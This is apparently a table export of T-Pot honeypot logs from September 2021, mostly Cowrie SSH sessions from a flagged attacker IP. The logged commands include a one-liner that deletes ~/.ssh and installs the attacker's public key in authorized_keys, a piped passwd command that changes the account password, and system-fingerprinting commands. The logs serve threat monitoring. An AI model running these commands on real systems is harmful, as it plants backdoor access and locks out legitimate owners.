36719	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:54.651037+03	2021-09-20 15:30:02.648867+03	{"_id": "kwYjA3wBvYTbRNuEQmSG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "81.71.14.9", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "ca00cf87f2d1", "@version": "1", "duration": 0.5534152984619141, "duplicate": true, "timestamp": "2021-09-20T12:16:54.651037Z", "@timestamp": "2021-09-20T12:16:54.651Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
36720	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:54.098249+03	2021-09-20 15:30:02.650871+03	{"_id": "lQYjA3wBvYTbRNuEQmSH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:16:54.098249Z", "@timestamp": "2021-09-20T12:16:54.098Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
36721	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:55.070591+03	2021-09-20 15:30:02.651867+03	{"_id": "lgYjA3wBvYTbRNuERmRv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-alpha-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:16:55.070591Z", "@timestamp": "2021-09-20T12:16:55.070Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
36722	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:49.340176+03	2021-09-20 15:30:02.652867+03	{"_id": "fgYjA3wBvYTbRNuELmT5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-alpha-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:16:49.340176Z", "@timestamp": "2021-09-20T12:16:49.340Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
36723	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:49.894798+03	2021-09-20 15:30:02.654869+03	{"_id": "gwYjA3wBvYTbRNuEMmTj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "81.71.14.9", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "ca00cf87f2d1", "@version": "1", "destfile": "/home/irfan/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T12:16:49.894798Z", "@timestamp": "2021-09-20T12:16:49.894Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	CN
36724	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:50.315828+03	2021-09-20 15:30:02.655867+03	{"_id": "ggYjA3wBvYTbRNuEMmTj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-alpha-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:16:50.315828Z", "@timestamp": "2021-09-20T12:16:50.315Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
36725	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:50.316386+03	2021-09-20 15:30:02.656867+03	{"_id": "hAYjA3wBvYTbRNuEMmTj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l", "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:16:50.316386Z", "@timestamp": "2021-09-20T12:16:50.316Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
36726	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:51.231449+03	2021-09-20 15:30:02.657868+03	{"_id": "hwYjA3wBvYTbRNuENmTM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-alpha-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:16:51.231449Z", "@timestamp": "2021-09-20T12:16:51.231Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
36727	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:51.232825+03	2021-09-20 15:30:02.659868+03	{"_id": "iQYjA3wBvYTbRNuENmTM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "Enter new UNIX password: ", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: Enter new UNIX password: ", "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:16:51.232825Z", "@timestamp": "2021-09-20T12:16:51.232Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
36728	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:51.78854+03	2021-09-20 15:30:02.660867+03	{"_id": "iwYjA3wBvYTbRNuENmTN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 32, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cb9e462370996e0934d45e6ab7a8b166d356a6ba88b203793a8e7b9c2a627e5a", "src_ip": "81.71.14.9", "ttylog": "log/tty/cb9e462370996e0934d45e6ab7a8b166d356a6ba88b203793a8e7b9c2a627e5a", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cb9e462370996e0934d45e6ab7a8b166d356a6ba88b203793a8e7b9c2a627e5a after 0 seconds", "session": "ca00cf87f2d1", "@version": "1", "duration": 0.5571796894073486, "duplicate": false, "timestamp": "2021-09-20T12:16:51.788540Z", "@timestamp": "2021-09-20T12:16:51.788Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
36729	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:52.760513+03	2021-09-20 15:30:02.661868+03	{"_id": "jQYjA3wBvYTbRNuEOmS1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 25, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "7407dcac6b944dde7f0d30035391bfaf9b1a9d6f7d3bc7fda9c776c22d532d6d", "src_ip": "81.71.14.9", "ttylog": "log/tty/7407dcac6b944dde7f0d30035391bfaf9b1a9d6f7d3bc7fda9c776c22d532d6d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/7407dcac6b944dde7f0d30035391bfaf9b1a9d6f7d3bc7fda9c776c22d532d6d after 0 seconds", "session": "ca00cf87f2d1", "@version": "1", "duration": 0.5534482002258301, "duplicate": false, "timestamp": "2021-09-20T12:16:52.760513Z", "@timestamp": "2021-09-20T12:16:52.760Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
36730	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:48.955316+03	2021-09-20 15:30:02.662868+03	{"_id": "gAYjA3wBvYTbRNuELmT5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "13b69276ac7e", "@version": "1", "duration": 2.7909135818481445, "timestamp": "2021-09-20T12:16:48.955316Z", "@timestamp": "2021-09-20T12:16:48.955Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
36731	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:49.897685+03	2021-09-20 15:30:02.66487+03	{"_id": "gQYjA3wBvYTbRNuEMmTj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "81.71.14.9", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0 seconds", "session": "ca00cf87f2d1", "@version": "1", "duration": 0.5576059818267822, "duplicate": true, "timestamp": "2021-09-20T12:16:49.897685Z", "@timestamp": "2021-09-20T12:16:49.897Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
36732	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:50.869657+03	2021-09-20 15:30:02.665867+03	{"_id": "hgYjA3wBvYTbRNuENmTM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "src_ip": "81.71.14.9", "ttylog": "log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0 seconds", "session": "ca00cf87f2d1", "@version": "1", "duration": 0.5539112091064453, "duplicate": true, "timestamp": "2021-09-20T12:16:50.869657Z", "@timestamp": "2021-09-20T12:16:50.869Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
36733	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:51.231998+03	2021-09-20 15:30:02.666869+03	{"_id": "iAYjA3wBvYTbRNuENmTM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "echo -e \\"irfan\\\\n8YG65R9IgqSO\\\\n8YG65R9IgqSO\\"|passwd|bash", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: echo -e \\"irfan\\\\n8YG65R9IgqSO\\\\n8YG65R9IgqSO\\"|passwd|bash", "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:16:51.231998Z", "@timestamp": "2021-09-20T12:16:51.231Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
36734	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:51.233585+03	2021-09-20 15:30:02.668869+03	{"_id": "igYjA3wBvYTbRNuENmTN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "Enter new UNIX password:", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.failed", "message": "Command not found: Enter new UNIX password:", "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:16:51.233585Z", "@timestamp": "2021-09-20T12:16:51.233Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.failed	\N	known attacker	CN
36735	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:52.207144+03	2021-09-20 15:30:02.669868+03	{"_id": "jAYjA3wBvYTbRNuEOmS1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-alpha-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:16:52.207144Z", "@timestamp": "2021-09-20T12:16:52.207Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
36736	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:16:48.129454+03	2021-09-20 15:30:02.671869+03	{"_id": "fQYjA3wBvYTbRNuEK2QS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "d2d26eabc461", "@version": "1", "duration": 2.312211275100708, "timestamp": "2021-09-20T12:16:48.129454Z", "@timestamp": "2021-09-20T12:16:48.129Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	HK
36737	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:49.340725+03	2021-09-20 15:30:02.672869+03	{"_id": "fwYjA3wBvYTbRNuELmT5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:16:49.340725Z", "@timestamp": "2021-09-20T12:16:49.340Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
36738	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:52.207685+03	2021-09-20 15:30:02.673868+03	{"_id": "jgYjA3wBvYTbRNuEOmS1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "echo \\"irfan\\\\n8YG65R9IgqSO\\\\n8YG65R9IgqSO\\\\n\\"|passwd", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: echo \\"irfan\\\\n8YG65R9IgqSO\\\\n8YG65R9IgqSO\\\\n\\"|passwd", "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:16:52.207685Z", "@timestamp": "2021-09-20T12:16:52.207Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
36739	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:16:42.346175+03	2021-09-20 15:30:02.675869+03	{"_id": "OwYjA3wBvYTbRNuEFGSl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 19339, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1672, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1137275054998594, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 59631, "timestamp": "2021-09-20T12:16:42.346175Z", "@timestamp": "2021-09-20T12:16:42.346Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
